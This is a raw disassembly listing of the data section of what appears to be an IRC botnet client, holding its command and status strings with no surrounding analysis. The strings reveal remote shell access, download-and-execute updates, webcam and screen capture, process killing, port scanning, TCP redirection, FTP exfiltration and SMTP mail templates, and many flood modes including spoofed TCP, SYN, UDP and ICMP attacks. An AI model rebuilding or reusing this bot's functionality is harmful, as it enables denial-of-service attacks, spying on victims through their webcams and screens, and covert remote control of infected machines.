		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: .nsp0:00409840o
					; .nsp0:004098B0o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: .nsp0:0040982Co
		align 4
asc_43037C:				; DATA XREF: .nsp0:004097FCo
		unicode	0, <~>,0
unk_430380	db  2Dh	; -		; DATA XREF: .nsp0:004097ABo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_4303A4	db  2Dh	; -		; DATA XREF: .nsp0:00409741o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4303CC	db  2Dh	; -		; DATA XREF: .nsp0:004096FBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 10h
unk_4303F0	db  2Dh	; -		; DATA XREF: .nsp0:004096DBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_430414	db  2Dh	; -		; DATA XREF: .nsp0:004096BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_430438	db  2Dh	; -		; DATA XREF: .nsp0:0040969Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_43045C	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: .nsp0:0040967Do
		dd 2E732520h, 0
unk_430478	db  2Dh	; -		; DATA XREF: .nsp0:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_4304A4	db  2Dh	; -		; DATA XREF: .nsp0:004095F6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4304C8	db  2Dh	; -		; DATA XREF: .nsp0:loc_409575o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4304F0	db  2Dh	; -		; DATA XREF: .nsp0:0040956Bo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: .nsp0:00409551o
unk_43051C	db  2Dh	; -		; DATA XREF: .nsp0:00409447o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_430544	db  2Dh	; -		; DATA XREF: .nsp0:loc_40942Eo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_430568	db  2Dh	; -		; DATA XREF: .nsp0:00409424o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_430588	db  2Dh	; -		; DATA XREF: .nsp0:004093F7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4305B0	db  2Dh	; -		; DATA XREF: .nsp0:loc_4093D7o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4305D8	db  2Dh	; -		; DATA XREF: .nsp0:004093A9o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4305F8	db  2Dh	; -		; DATA XREF: .nsp0:loc_40936Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_430628	db  2Dh	; -		; DATA XREF: .nsp0:00409362o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_430648	db  2Dh	; -		; DATA XREF: .nsp0:loc_409308o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_430678	db  2Dh	; -		; DATA XREF: .nsp0:00409301o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_43069C	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: .nsp0:004092BFo
		dd 27732527h, 2Eh
unk_4306B8	db  2Dh	; -		; DATA XREF: .nsp0:004092A5o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_4306F4	db  2Dh	; -		; DATA XREF: .nsp0:00409236o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_430718	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: .nsp0:004091C2o
		dd 0
unk_430730	db  2Dh	; -		; DATA XREF: .nsp0:00409194o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_430770	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: .nsp0:00409125o
		dd 2Eh
dword_430788	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: .nsp0:loc_409076o
		dd 746E6573h, 2Eh
unk_4307A4	db  2Dh	; -		; DATA XREF: .nsp0:0040906Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_4307C4	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: .nsp0:00409036o
		dd 732520h
unk_4307DC	db  2Dh	; -		; DATA XREF: .nsp0:00409028o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_430808:				; DATA XREF: .nsp0:00409010o
					; .nsp0:0040FF69o ...
		dw 0Ah
		unicode	0, <>,0
unk_43080C	db  2Dh	; -		; DATA XREF: .nsp0:00408FE6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_430830	db  2Dh	; -		; DATA XREF: .nsp0:00408FD0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_430854	db  2Dh	; -		; DATA XREF: .nsp0:loc_408F5Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_430894	db  2Dh	; -		; DATA XREF: .nsp0:loc_408F51o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_4308D4	db  2Dh	; -		; DATA XREF: .nsp0:00408F47o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
unk_430900	db  2Dh	; -		; DATA XREF: .nsp0:loc_408EB0o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_430938	db  2Dh	; -		; DATA XREF: .nsp0:loc_408EA9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_43096C	db  2Dh	; -		; DATA XREF: .nsp0:00408E99o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: .nsp0:loc_408E22o
		align 10h
unk_4309A0	db  2Dh	; -		; DATA XREF: .nsp0:00408E15o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_4309C8	db  2Dh	; -		; DATA XREF: .nsp0:00408DE2o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: .nsp0:loc_408D95o
unk_4309F8	db  2Dh	; -		; DATA XREF: .nsp0:loc_408D82o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_430A34	db  2Dh	; -		; DATA XREF: .nsp0:loc_408D7Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_430A64	db  2Dh	; -		; DATA XREF: .nsp0:00408D6Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: .nsp0:loc_408D3Ao
		align 4
dword_430A98	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: .nsp0:00408D22o
		dd 2E732520h, 0
unk_430AB4	db  2Dh	; -		; DATA XREF: .nsp0:00408CDFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_430AE4	db  2Dh	; -		; DATA XREF: .nsp0:00408CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_430B0C	db  2Dh	; -		; DATA XREF: .nsp0:00408C1Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_430B2C	db  2Dh	; -		; DATA XREF: .nsp0:00408BDFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_430B4C	db  2Dh	; -		; DATA XREF: .nsp0:00408B85o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_430B68	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: .nsp0:00408B16o
dword_430B7C	dd 54524150h, 0D732520h, 0Ah					; .nsp0:0040968Ao
unk_430B88	db  2Dh	; -		; DATA XREF: .nsp0:00408AB2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:00408AA4o
		align 10h
dword_430BB0	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: .nsp0:00408A79o
		dd 25203A29h, 73h
dword_430BCC	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: .nsp0:00408A0Do
		dd 203A2973h, 7325h
dword_430BE8	dd 45444F4Dh, 732520hdword_430BF0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: .nsp0:00408985o
		dd 203A2973h, 7325h
dword_430C0C	dd 4E494F4Ah, 20732520h, 7325hdword_430C18	dd 0A0D7325h, 0						; .nsp0:00408966o ...
dword_430C20	dd 54524150h, 732520hdword_430C28	dd 234032Dh, 67726174h,	3023361haFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_430C64	dd 234032Dh, 67726174h,	3023361haFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_430C90	db  2Dh	; -		; DATA XREF: .nsp0:00408797o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_430CCC	db  2Dh	; -		; DATA XREF: .nsp0:0040872Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_430D00	db  2Dh	; -		; DATA XREF: .nsp0:loc_4086BAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_430D34	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: .nsp0:0040867Fo
		dd 7325h
dword_430D4C	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: .nsp0:loc_4085EBo
dword_430D60	dd 25207325h, 73252073h, 73253A20h, 0					; .nsp0:00408659o ...
dword_430D70	dd 234032Dh, 61647075h,	3026574h, 6F42202Dh, 44492074h
					; DATA XREF: .nsp0:loc_40854Ao
		dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh
		dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h
		dd 636F7270h, 2E737365h, 0
		dd 234032Dh, 61647075h,	3026574h
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
		dd 234032Dh, 61647075h,	3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0
		align 4
dword_430E2C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: .nsp0:004083CDo
		dd 7325203Ah, 0
unk_430E48	db  2Dh	; -		; DATA XREF: .nsp0:004083C2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_430E6C	db  2Dh	; -		; DATA XREF: .nsp0:00408328o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStartS	db 'Failed to start search thread, error: <%d>.',0
unk_430EA8	db  2Dh	; -		; DATA XREF: .nsp0:004082B2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_430ED8	dd 234032Dh, 656C6966h,	2D0302h					; .nsp0:loc_4092C6o
unk_430EE4	db  2Dh	; -		; DATA XREF: .nsp0:004081DAo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_430F08	db  2Dh	; -		; DATA XREF: .nsp0:loc_4081B8o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_430F40	db  2Dh	; -		; DATA XREF: .nsp0:004081AEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_430F78	db  2Dh	; -		; DATA XREF: .nsp0:00408138o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_430FA4	dd 234032Dh, 6E6F6C63h,	3027365haFailedToStar_2	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_430FE0	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_431010	db  2Dh	; -		; DATA XREF: .nsp0:00407FD9o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_3	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_431048	db  2Dh	; -		; DATA XREF: .nsp0:00407F67o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_431078	db  2Dh	; -		; DATA XREF: .nsp0:00407EE0o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_4	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4310B0	db  2Dh	; -		; DATA XREF: .nsp0:00407E6Eo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_4310E0	db  2Dh	; -		; DATA XREF: .nsp0:00407DF8o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_431118	db  2Dh	; -		; DATA XREF: .nsp0:00407D86o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_431154	db  2Dh	; -		; DATA XREF: .nsp0:00407D10o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_431194	db  2Dh	; -		; DATA XREF: .nsp0:00407CA1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_4311C0	db  2Dh	; -		; DATA XREF: .nsp0:00407BD5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_431204	db  2Dh	; -		; DATA XREF: .nsp0:00407B66o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_431240	db  2Dh	; -		; DATA XREF: .nsp0:00407A6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: .nsp0:004079E8o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: .nsp0:004078E6o
		align 4
dword_43129C	dd 54434101h, 204E4F49h, 17325h					; .nsp0:00408B62o
unk_4312A8	db  2Dh	; -		; DATA XREF: .nsp0:004077F1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_4312E4	db  2Dh	; -		; DATA XREF: .nsp0:00407782o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_431334	db  2Dh	; -		; DATA XREF: .nsp0:004076EBo
					; .nsp0:00407ADBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_43136C	db  2Dh	; -		; DATA XREF: .nsp0:0040767Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_4313D4	db  2Dh	; -		; DATA XREF: .nsp0:00407506o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_431408	db  2Dh	; -		; DATA XREF: .nsp0:004074A9o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_43143C	db  2Dh	; -		; DATA XREF: .nsp0:loc_407389o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_43146C	db  2Dh	; -		; DATA XREF: .nsp0:00407382o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: .nsp0:00407369o
aSS_3		db '-s:%s',0            ; DATA XREF: .nsp0:00407352o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: .nsp0:00407332o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: .nsp0:0040730Eo
					; .nsp0:00412263o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: .nsp0:004072FDo
		align 4
unk_4314DC	db  2Dh	; -		; DATA XREF: .nsp0:004072A4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_4314FC	db  2Dh	; -		; DATA XREF: .nsp0:0040724Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_43153C	db  2Dh	; -		; DATA XREF: .nsp0:004071EEo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_431574	db  2Dh	; -		; DATA XREF: .nsp0:00407183o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_4315BC	db  2Dh	; -		; DATA XREF: .nsp0:004070D5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_4315F0	db  2Dh	; -		; DATA XREF: .nsp0:004070A1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_431624	db  2Dh	; -		; DATA XREF: .nsp0:0040707Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_43165C	db  2Dh	; -		; DATA XREF: .nsp0:00406FDBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:00406FBEo
		align 10h
unk_4316B0	db  2Dh	; -		; DATA XREF: .nsp0:00406FA9o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_4316E8	db  2Dh	; -		; DATA XREF: .nsp0:00406F3Ao
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_431730	db  2Dh	; -		; DATA XREF: .nsp0:loc_406E8Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_431768	db  2Dh	; -		; DATA XREF: .nsp0:00406E76o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4317A0	db  2Dh	; -		; DATA XREF: .nsp0:00406DFCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: .nsp0:00406DECo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: .nsp0:00406DE5o
unk_4317E4	db  2Dh	; -		; DATA XREF: .nsp0:00406D50o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aAck		db 'ack',0              ; DATA XREF: .nsp0:00406D29o
aHcon		db 'hcon',0             ; DATA XREF: .nsp0:00406CB3o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: .nsp0:00406CA0o
unk_431824	db  2Dh	; -		; DATA XREF: .nsp0:00406C51o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: .nsp0:00406BDDo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aUsa		db 'usa',0              ; DATA XREF: .nsp0:00406ADBo
aTcpflood	db 'tcpflood',0         ; DATA XREF: .nsp0:00406AC4o
		align 4
aPing_0		db 'ping',0             ; DATA XREF: .nsp0:00406A96o
		align 4
